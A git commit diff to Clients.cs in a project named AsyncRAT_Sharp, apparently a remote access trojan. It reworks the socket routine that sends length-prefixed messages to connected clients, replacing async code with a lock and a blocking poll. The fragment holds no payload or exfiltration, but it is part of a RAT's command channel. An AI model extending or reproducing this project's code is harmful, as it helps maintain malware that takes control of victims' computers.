Update Clients.cs

This commit is contained in:
NYAN CAT 2019-01-27 08:40:13 -08:00
parent 0fcbc94b69
commit 45f086ed07

View File

@ -118,30 +118,30 @@ namespace AsyncRAT_Sharp.Sockets
catch { } catch { }
} }
public async void BeginSend(object Msgs) public void BeginSend(object Msgs)
{ {
if (Client.Connected) Clients Me = this;
lock (Me)
{ {
try if (Client.Connected)
{ {
using (MemoryStream MS = new MemoryStream()) try
{ {
byte[] buffer = (byte[])Msgs; using (MemoryStream MS = new MemoryStream())
byte[] buffersize = Encoding.UTF8.GetBytes(buffer.Length.ToString() + Strings.ChrW(0));
await MS.WriteAsync(buffersize, 0, buffersize.Length);
await MS.WriteAsync(buffer, 0, buffer.Length);
while (!(Client.Poll(-1, SelectMode.SelectWrite)))
{ {
await Task.Delay(100); byte[] buffer = (byte[])Msgs;
if (!Client.Connected) Disconnected(); byte[] buffersize = Encoding.UTF8.GetBytes(buffer.Length.ToString() + Strings.ChrW(0));
} MS.WriteAsync(buffersize, 0, buffersize.Length);
MS.WriteAsync(buffer, 0, buffer.Length);
Client.Poll(-1, SelectMode.SelectWrite);
Client.BeginSend(MS.ToArray(), 0, (int)MS.Length, SocketFlags.None, EndSend, null); Client.BeginSend(MS.ToArray(), 0, (int)MS.Length, SocketFlags.None, EndSend, null);
Settings.Sent += (long)MS.Length; Settings.Sent += (long)MS.Length;
}
}
catch
{
Disconnected();
} }
}
catch
{
Disconnected();
} }
} }
} }